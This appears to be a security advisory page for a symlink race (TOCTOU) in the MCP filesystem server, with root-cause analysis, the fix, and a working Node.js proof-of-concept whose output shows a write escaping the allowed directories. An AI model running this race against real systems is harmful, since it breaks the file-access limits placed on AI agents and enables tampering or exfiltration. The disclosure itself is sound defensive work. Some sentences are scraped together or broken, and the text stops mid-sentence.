@MODELCONTEXTPROTOCOL/SERVER-FILESYSTEM · GHSA-53mr-w429-c597 · Package
FIX → 2.0.1
The @modelcontextprotocol/server-filesystem package validates a parent directory, then returns the unresolved path, so a local process can swap that parent for a symlink and redirect writes, mkdir, or moves outside the allowed tree. An attacker running as the same user can write arbitrary files outside allowedDirectories and relocate files out of the tree.
first public Oct 25, 2026 · 1 source
Could this affect your app?
Free first check from your website. Connect your repo for the full answer.
Teams running the MCP filesystem server locally or as a tool for AI agents, where another process running as the same user could interfere during a file operation. Exposure depends on whether the server's allowed directories hold anything worth protecting and whether other local code runs under the same account. Deployments on a locked-down machine with no other same-user processes are at lower risk.
Not affected if no-allowed-directories-sensitive-data, single-user-locked-down-host
Who cares claude-desktop, filesystem, local-agents, mcp, node
npm ls @modelcontextprotocol/server-filesystem; versions below 2.0.1 are listed as affected.allowedDirectories and whether untrusted local processes run as the same user.validatePath() in lib.js contains an ENOENT fallback intended to permit creation of new files whose parents exist inside an allowed directory. The fallback resolves only the parent directory through fs.realpath(), validates the parent against allowedDirectories, and then returns the original absolute path unchanged rather than the canonicalised join of the realpath-resolved parent with the basename. Every caller (write_file, edit_file, create_directory, move_file) immediately invokes a filesystem syscall on this un-canonicalised path. Between the parent-realpath check and the syscall, a separate local process can replace the parent directory with a symbolic link that points outside the allowed tree. The kernel resolves the symlink at syscall time, and the write, mkdir, or rename lands at the attacker-chosen destination. This produces arbitrary file write outside allowedDirectories, and via move_file arbitrary file relocation, including exfiltration outside the protected tree. The class is distinct from CVE-2025-53109 (symlink target validation) and CVE-2025-53110 (prefix-match containment), both fixed in 2025.7.1: neither patch added re-resolution of the parent after the ENOENT branch returns, and neither addresses a symlink that comes into existence completes.
Check it with your coding agent
It reads this page and tells you if your code is affected.
Are you affected?
Ask from here. InfraStack checks the affected versions against your stack and answers in your inbox.
InfraStack checks the affected versions against your stack and answers in Slack, with the evidence and the fix.
Upgrade to 2.0.1
@modelcontextprotocol/server-filesystem: 2.0.1validatePath()dist/lib.js, function validatePath, lines (approximately) 30-90. The defect is the literal return absolute; on the ENOENT path. absolute was produced by path.resolve() on the caller-supplied request; it is not the canonical on-disk path. If parentDir is itself a symlink at the moment of the syscall, the kernel dereferences that symlink at syscall time, and the resulting on-disk location is wherever the symlink currently points, not the location whose realpath was validated.
The fix is straightforward: the function should return path.join(realParentPath, path.basename(absolute)) so that the caller's syscall operates on the path whose parent has been canonicalised and approved.
Each of the following request handlers calls validatePath and then immediately performs a filesystem syscall on the returned string. There is an inter-statement window between the validation and the syscall (in some cases an additional await between them):
index.js:343-344 write_file:
const validPath = await validatePath(parsed.data.path);
await writeFileContent(validPath, parsed.data.content); // -> fs.writeFile inside writeFileContent
index.js:355 edit_file:
const validPath = await validatePath(parsed.data.path);
// applyFileEdits opens, edits, writes via tmp + rename
index.js:366 create_directory:
const validPath = await validatePath(parsed.data.path);
await fs.mkdir(validPath, { recursive: true });
index.js:474-476 move_file:
const validSourcePath = await validatePath(parsed.data.source);
const validDestPath = await validatePath(parsed.data.destination);
await fs.rename(validSourcePath, validDestPath);
In move_file, the destination commonly does not exist, so the destination's validatePath call hits the ENOENT branch.
The race window is the interval between validatePath() returning to the caller and the subsequent filesystem syscall reaching the kernel. In practice this includes at least:
validatePath returns.writeFileContent, fs.mkdir, fs.rename).write_file, an additional await fs.writeFile(...) setup (lib.js:96-123 constructs a tmp path, then renames into place; both syscalls happen after the validation).edit_file, an entire read-modify-write cycle (lib.js:127-198), which widens the window enormously.Any concurrently running process running as the same user can, within this window, rmdir the previously-real parentDir and symlink it to an attacker-chosen target. The kernel resolves the symlink at the moment of the eventual open/mkdir/rename syscall.
The script below imports the installed package directly and demonstrates the bug deterministically on macOS. It is self-contained: it constructs its own workspace under the system temp directory, sets the allowed directory to a freshly-created subdirectory, performs the validate + write sequence with an interposed symlink swap, and then checks whether the write landed outside the allow-list. Replace LIB_PATH with the path to the installed package's dist/lib.js (Anthropic Claude Desktop users will find it under the Filesystem extension's installation directory; direct npm users will find it under node_modules/@modelcontextprotocol/server-filesystem/dist/lib.js).
import fs from 'node:fs/promises';
import path from 'node:path';
import os from 'node:os';
import { pathToFileURL } from 'node:url';
// Path to the installed package's lib.js. Adjust for your install location.
const LIB_PATH = '/PATH/TO/server-filesystem/dist/lib.js';
const { setAllowedDirectories, validatePath, writeFileContent } =
await import(pathToFileURL(LIB_PATH).href);
// Realpath the workspace root so macOS /var vs /private/var does not
// confuse the server's first-pass string-prefix containment check.
await fs.mkdir(path.join(os.tmpdir(), 'fs-toctou-poc'), { recursive: true });
const ROOT = await fs.realpath(path.join(os.tmpdir(), 'fs-toctou-poc'));
const ALLOWED = path.join(ROOT, 'allowed');
const OUTSIDE = path.join(ROOT, 'outside');
const FLIP = path.join(ALLOWED, 'flip');
async function reset() {
await fs.rm(ROOT, { recursive: true, force: true });
await fs.mkdir(ALLOWED, { recursive: true });
await fs.mkdir(OUTSIDE, { recursive: true });
await fs.mkdir(FLIP, { recursive: true });
}
await reset();
setAllowedDirectories([await fs.realpath(ALLOWED)]);
const REQUESTED = path.join(FLIP, 'created.txt');
// 1) Validate. The leaf does not exist (ENOENT), so the parent-dir fallback
// fires. Parent is allowed/flip, a real dir inside allowed: passes.
console.log('[*] Calling validatePath...');
const validated = await validatePath(REQUESTED);
console.log('[*] validatePath returned:', validated);
// 2) Between validation and write, swap the parent dir for a symlink.
// In the real server this race window exists between validatePath()
// and writeFileContent() in the request handler.
console.log('[*] Race: replacing flip dir with symlink to outside...');
await fs.rm(FLIP, { recursive: true });
await fs.symlink(OUTSIDE, FLIP);
// 3) Write through the validated (now stale) path. The kernel resolves
// the parent symlink at syscall time; the write lands outside.
console.log('[*] Writing through validated path...');
await writeFileContent(validated, 'pwned-via-toctou');
// 4) Verify.
const outsideListing = await fs.readdir(OUTSIDE);
const allowedListing = await fs.readdir(ALLOWED, { withFileTypes: true });
console.log('[*] Files now in outside/:', outsideListing);
console.log('[*] Entries in allowed/:',
allowedListing.map(e => `${e.isSymbolicLink()?'L':e.isDirectory()?'D':'F'} ${e.name}`));
if (outsideListing.includes('created.txt')) {
console.log('[!!] SUCCESS: file written OUTSIDE allowed directories.');
} else {
console.log('[--] FAILED: write did not escape.');
}
[*] Calling validatePath...
[*] validatePath returned: /private/var/folders/.../T/fs-toctou-poc/allowed/flip/created.txt
[*] Race: replacing flip dir with symlink to outside...
[*] Writing through validated path...
[*] Files now in outside/: [ 'created.txt' ]
[*] Entries in allowed/: [ 'L flip' ]
[!!] SUCCESS: file written OUTSIDE allowed directories.
The validatePath call returned a path whose ca